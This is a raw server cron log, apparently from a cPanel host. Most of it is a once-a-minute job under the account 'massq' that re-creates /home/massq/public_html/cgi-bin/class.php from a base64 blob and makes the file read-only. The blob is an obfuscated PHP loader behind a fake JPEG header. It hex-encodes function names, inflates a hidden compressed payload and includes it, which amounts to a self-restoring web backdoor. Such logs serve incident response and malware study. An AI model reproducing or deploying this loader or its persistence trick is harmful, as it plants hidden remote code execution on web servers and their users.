Nov 11 05:32:01 server CROND[2008]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 05:33:01 server CROND[2838]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 05:34:01 server CROND[3757]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 05:35:01 server CROND[4580]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 05:35:01 server CROND[4581]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 11 05:35:01 server CROND[4579]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 05:35:01 server CROND[4583]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 05:35:01 server CROND[4582]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 05:36:01 server CROND[5462]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 05:37:01 server CROND[6267]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 05:38:01 server CROND[7184]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 05:39:01 server CROND[8005]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 11 05:39:01 server CROND[8006]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 05:40:01 server CROND[9026]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 05:40:01 server CROND[9025]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 05:40:01 server CROND[9027]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 05:40:01 server CROND[9028]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 05:41:01 server CROND[9901]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 05:42:01 server CROND[10708]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 11 05:42:01 server CROND[10710]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 05:43:01 server CROND[11611]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 05:44:01 server CROND[12424]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 05:45:01 server CROND[13352]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
